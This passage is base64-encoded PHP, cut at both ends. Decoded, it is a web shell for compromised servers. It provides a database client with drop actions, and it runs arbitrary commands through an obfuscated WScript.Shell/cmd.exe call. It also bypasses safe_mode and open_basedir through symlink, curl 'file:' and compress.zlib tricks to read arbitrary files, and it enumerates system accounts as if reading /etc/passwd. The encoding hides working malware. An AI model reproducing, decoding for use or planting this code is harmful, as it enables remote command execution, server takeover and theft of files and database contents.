mVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sIlNFTEVDVCAqIEZST00gYCR0YmxgIik7DQp9DQplbHNlDQoJJHJlcz1xdWVyWSgkdHlwZSwkc2VydmVyLCR1c2VyLCRwYXNzLCRkYiwkcXVlcnkpOw0KDQppZigkcmVzKXsNCiRyZXM9aHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCiRyb3c9YXJyYXkgKCk7DQokdGl0bGU9ZXhwbG9kZSgnWytdWytdWytdJywkcmVzKTsNCiR0cm93PWV4cGxvZGUoJ1stXVstXVstXScsJHRpdGxlWzFdKTsNCiRyb3c9ZXhwbG9kZSgnfCt8K3wrfCt8K3wnLCR0aXRsZVswXSk7DQokZGF0YT1hcnJheSgpOw0KJGZpZWxkPSR0cm93W2NvdW50KCR0cm93KS0yXTsNCmlmIChzdHJzdHIoJHRyb3dbMF0sJ0RhdGFiYXNlJykhPScnKQ0KCSRvYmo9J2RiJzsNCmVsc2VpZiAoc3Vic3RyKCR0cm93WzBdLDAsNik9PSdUYWJsZXMnKQ0KCSRvYmo9J3RibCc7DQplbHNlDQoJJG9iaj0ncm93JzsNCiRpPTA7DQpmb3JlYWNoICgkcm93IGFzICRhKXsNCmlmKCRhIT0nJykNCiRkYXRhWyRpKytdPWV4cGxvZGUoJ3wtfC18LXwtfC18JywkYSk7DQp9DQoNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSBib3JkZXJjb2xvcj0nI0M2QzZDNicgY2VsbHBhZGRpbmc9JzInIGJnY29sb3I9J0VBRUFFQScgd2lkdGg9JzEwMCUnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlJz48dHI+IjsNCmZvcmVhY2ggKCR0cm93IGFzICR0aSkNCmVjaG8gIjx0ZCBiZ2NvbG9yPSdGMkYyRjInPiR0aTwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCiRqPTA7DQp3aGlsZSAoJGRhdGFbJGpdKXsNCgllY2hvICI8dHI+IjsNCglmb3JlYWNoICgkZGF0YVskaisrXSBhcyAkZHIpew0KCQllY2hvICI8dGQ+IjsNCgkJaWYoJG9iaiE9J3JvdycpIGVjaG8gIjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZzZWxlY3RfJG9iaj0kZHInPiI7DQoJCWVjaG8gJGRyOw0KCQlpZigkb2JqIT0ncm93JykgZWNobyAiPC9hPiI7DQoJCWVjaG8gIjwvdGQ+IjsNCgl9DQoJZWNobyAiPHRkPjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZkcm9wXyRvYmo9JGRyIjsNCglpZigkb2JqPT0ncm93JykNCgkJZWNobyAiJmNsbT0kZmllbGQiOw0KCWVjaG8gIic+RHJvcDwvYT48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PGJyPiI7DQoNCn0NCg0KDQoNCgkNCg0KaWYoZW1wdHkoJF9SRVFVRVNUWyd0eXBFJ10pKSRfUkVRVUVTVFsndHlwRSddPScnOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBuYW1lPWNsaWVudCBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJF9TRVJWRVJbUEhQX1NFTEZdP2RvPWRiJz48dGFibGUgYm9yZGVyPScxJyB3aWR0aD0nNDAwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZScgaWQ9J3RhYmxlMScgYm9yZGVyY29sb3I9JyNDNkM2QzYnIGNlbGxwYWRkaW5nPScyJz48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+Q29ubmVjdCB0byBEYXRhYmFzZTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9JzE1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGZvbnQgZmFjZT0nQXJpYWwnIHNpemU9JzInPkRCIFR5cGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxzZWxlY3QgbmFtZT10eXBFPjxvcHRpb24gdmFsdXQ9TXlTUUwgIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSBmYWxzZTsnICI7DQppZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNeVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U1FMPC9vcHRpb24+PG9wdGlvbiB2YWx1dD1NU1NRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nTVNTUUwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NU1NRTDwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9T3JhY2xlIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSB0cnVlOycgIjsNCmlmICgkX1JFUVVFU1RbJ3R5cEUnXT09J09yYWNsZScpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk9yYWNsZTwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9UG9zdGdyZVNRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nUG9zdGdyZVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTUUw8L29wdGlvbj48b3B0aW9uIHZhbHV0PURCMiBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nREIyJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+SUJNIERCMjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5TZXJ2ZXIgQWRkcmVzczo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT0nIjsNCmlmICghZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3NlcnZlUiddKTtlbHNlIGVjaG8gJ2xvY2FsaG9zdCc7IA0KZWNobyAiJyBuYW1lPXNlcnZlUiBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5Vc2VybmFtZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZVIgdmFsdWU9JyI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsndXNlUiddKTtlbHNlIGVjaG8gJ3Jvb3QnOyANCmVjaG8gIicgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9JyI7DQppZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNTJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydwYXNTJ10pO2Vsc2UgZWNobyAnMTIzJzsgDQplY2hvICInIG5hbWU9cGFzUyBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+U3VibWl0IGEgUXVlcnk8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5EQiBOYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0nMjUwJyBiZ2NvbG9yPScjRUFFQUVBJz48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPSciOw0KaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RCJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkQiddKTsgDQplY2hvICInIG5hbWU9ZEIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UXVlcnk6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjx0ZXh0YXJlYSBuYW1lPXF1ZXJZIHJvd3M9NSBjb2xzPTI3PiI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygoJF9SRVFVRVNUWydxdWVyWSddKSk7ZWxzZSBlY2hvICdTSE9XIERBVEFCQVNFUyc7IA0KZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nNDAwJyBjb2xzcGFuPScyJyBiZ2NvbG9yPScjRUFFQUVBJz4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPSdTdWJtaXQnIHN0eWxlPSdmbG9hdDogcmlnaHQnPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4kZXQ8L2NlbnRlcj4iOw0KfQ0KDQoNCmZ1bmN0aW9uIHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpew0KJHJlcz0nJzsNCnN3aXRjaCgkdHlwZSl7DQpjYXNlICdNeVNRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW15c3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0KaWYgKCRyZXN1bHQhPTEpew0Kd2hpbGUoJGRhdGE9bXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCn0NCm15c3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1tc3NxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW1zc3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1tc3NxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0Kd2hpbGUoJGRhdGE9bXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXNzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCm1zc3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSlyZXR1cm4gMDsNCiRsaW5rPW9jaWxvZ29uKCR1c2VyLCRwYXNzLCRkYik7DQppZigkbGluayl7DQokc3RtPW9jaXBhcnNlKCRsaW5rLCRxdWVyeSk7DQpvY2lleGVjdXRlKCRzdG0sT0NJX0RFRkFVTFQpOw0Kd2hpbGUoJGRhdGE9b2NpZmV0Y2hpbnRvKCRzdG0sJGRhdGEsT0NJX0FTU09DK09DSV9SRVRVUk5fTlVMTFMpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8b2NpX251bV9maWVsZHMoJHN0bSk7JGkrKykNCiRyZXMuPW9jaV9maWVsZF9uYW1lKCRzdG0sJGkpLidbLV1bLV1bLV0nOw0KcmV0dXJuICRyZXM7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKXJldHVybiAwOw0KJGxpbms9cGdfY29ubmVjdCgiaG9zdD0kaG9zdCBkYm5hbWU9JGRiIHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MiKTsNCmlmKCRsaW5rKXsNCiRyZXN1bHQ9cGdfcXVlcnkoJGxpbmssJHF1ZXJ5KTsNCndoaWxlKCRkYXRhPXBnX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPHBnX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykNCiRyZXMuPXBnX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSkuJ1stXVstXVstXSc7DQpwZ19jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KY2FzZSAnREIyJzoNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RiMl9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1kYjJfY29ubmVjdCgkZGIsJHVzZXIsJHBhc3MpOw0KaWYoJGxpbmspew0KJHJlc3VsdD1kYjJfZXhlYygkbGluaywkcXVlcnkpOw0Kd2hpbGUoJGRhdGE9ZGIyX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPGRiMl9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQokcmVzLj1kYjJfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCmRiMl9jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBieXdzeW0oJGZpbGUpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKXtlY2hvICJGdW5jdGlvbiBTeW1saW5rIE5vdCBFeGlzdCI7fQ0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCiRsZXZlbD0wOw0KZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQoJaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkNCgkJbWtkaXIoJGZha2VkaXIpOw0KCWNoZGlyKCRmYWtlZGlyKTsNCn0NCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGFzKys7DQp9fQ0KJGFzKys7DQp3aGlsZSgkYXMtLSkNCgljaGRpcigiLi4iKTsNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQp3aGlsZSgxKQ0KCWlmKHRydWU9PShAc3ltbGluaygiZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLCAic3ltbGluayIuJG51bSkpKSBicmVhazsNCgllbHNlICRudW0rKzsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCn0NCmZ1bmN0aW9uIGJ5cGN1KCRmaWxlKXsNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZpbGU6IikpDQoJbWtkaXIoImZpbGU6Iik7DQpjaGRpcigiZmlsZToiKTsNCiRsZXZlbCsrOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0NCg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxlKTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29scz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9GT05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCn0NCmlmICgkX1JFUVVFU1RbJ2J5cGN1J10pew0KYnlwY3UoJF9SRVFVRVNUWydieXBjdSddKTsNCn0NCmlmKCRfUkVRVUVTVFsnZG8nXT09ImJ5cGFzc2NtZCIpew0KaWYoJF9QT1NUWydieWN3J10pew0KZWNobyAkX1BPU1RbJ2J5Y3cnXTsNCiR3c2ggPSBuZXcgQ09NKCdXJy4nU2NyJy4naXAnLid0LnNoZScuJ2xsJyk7DQogICAgICAgICAgICAkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydieWN3J10uIiIpOw0KICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiAgICAgICAgICAgICRzdGNvbSA9ICRzdGRvdXQtPlJlYWRBbGwoKTt9DQoJCQkNCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO30gZWNobyAkc3Rjb20uJzwvdGV4dGFyZWE+PGhyPjxjZW50ZXI+QnlwYXNzIFNhZmVfTW9kZSBBbmQgRGlzYWJsZV9GdW5jdGlvbnMgSW4gV2luZG93cyBTZXJ2ZXI8YnI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NjbWQiIG5hbWU9ZG8+Q29tbWFuZCA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnljdyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT5CeXBhc3MgU2FmZV9Nb2RlIFdpbmRvd3MgU2VydmVyPGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0NvbW1hbmQgPC9mb250PjwvdGQ+PHRkIHdpZHRoPSI3NTAiPjxpbnB1dCBuYW1lPWJ5d3Mgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzY21kIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7Ow0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0iYnlwYXNzZGlyIil7DQppZigkX1BPU1RbJ2J5b2MnXSl7DQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ2J5b2MnXSwgZ2V0Y3dkKCkuIi8iLiJwZWppLnR4dCIpKXsNCiRib3BlbnM9IkJ5cGFzcyBTdWNjZXNmdWxsIFBseiBSZWFkIEZpbGUgUGVqaS50eHQgSW4gVGhpcyBGb2xkZXIiOw0KfWVsc2V7JGJvcGVucz0iQ2FuIE5vdCBCeXBhc3MgVGhpcyI7fQ0KfQ0KaWYoJF9QT1NUWydieWZjJ10pew0KY3VybF9pbml0KCJmaWxlOi8vLyIuJF9QT1NUWydieWZjJ10uIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQokZGViZmM9Y3VybF9leGVjKCRjaCk7DQp9DQppZigkX1BPU1RbJ2J5ZXRjJ10pew0KZm9yKCRieWU9MDskYnllPDQwMDAwOyRieWUrKyl7DQokc2JlcCA9JHNiZXAuIHBvc2l4X2dldHB3dWlkKCRieWUpOw0KfX0NCmlmKCRfUE9TVFsnYnlmYzknXSl7DQplY2hvICJub3Qgc3Vjc2Z1bGwiOw0KfQ0KaWYoJF9SRVFVRVNUWydieXN5bWwnXSl7DQokZmlsZT0kX1JFUVVFU1RbJ2J5c3ltbCddOw0KYnl3c3ltKCRmaWxlKTsNCn0NCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO31pZihpc3NldCgkc2JlcCkpe2ZvcigkZmJlPTA7JGZiZTxjb3VudCgkc2JlcCk7JGZiZSsrKXtlY2hvICRzYmVwWyRmYmVdO319IGlmKGlzc2V0KCRkZWJmYykpe30gZWNobyAkYm9wZW5zLic8L3RleHRhcmVhPjxocj48Y2VudGVyPkJ5cGFzcyBTYWZlX01vZGUgQW5kIE9wZW5fYmFzZWRpciBXaXRoIEJ1ZyBDb3B5KFpsaWIpIFdvcmtlZCBJbiA0LjQuMiAuLiA1LjEuMjxicj48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iOTUwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgaWQ9InRhYmxlNCIgY2VsbHBhZGRpbmc9IjUiPjx0cj48dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0Ij4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NkaXIiIG5hbWU9ZG8+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPkFkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlvYyBzaXplPTUwID48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJyZWFkIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyBPcGVuX2Jhc2VkaXIgQW5kIFJlYWQgRmlsZSBXaXRoIEJ1ZyBDdXJsIFdvcmtlZCBJbiBQSFAgNC40LjIgYW5kIDUuMS40PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48aHI+QnlwYXNzIE9wZW5fYmFzZWRpciBBbmQgUmVhZCBGaWxlIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIFBIUCA0LlggLi4uIDUuMi45PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYzkgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzZGlyIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyAvRXRjL1Bhc3N3ZDxicj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBQYXNzd2QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWJ5ZXRjIHZhbHVlPSJsb2wiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPS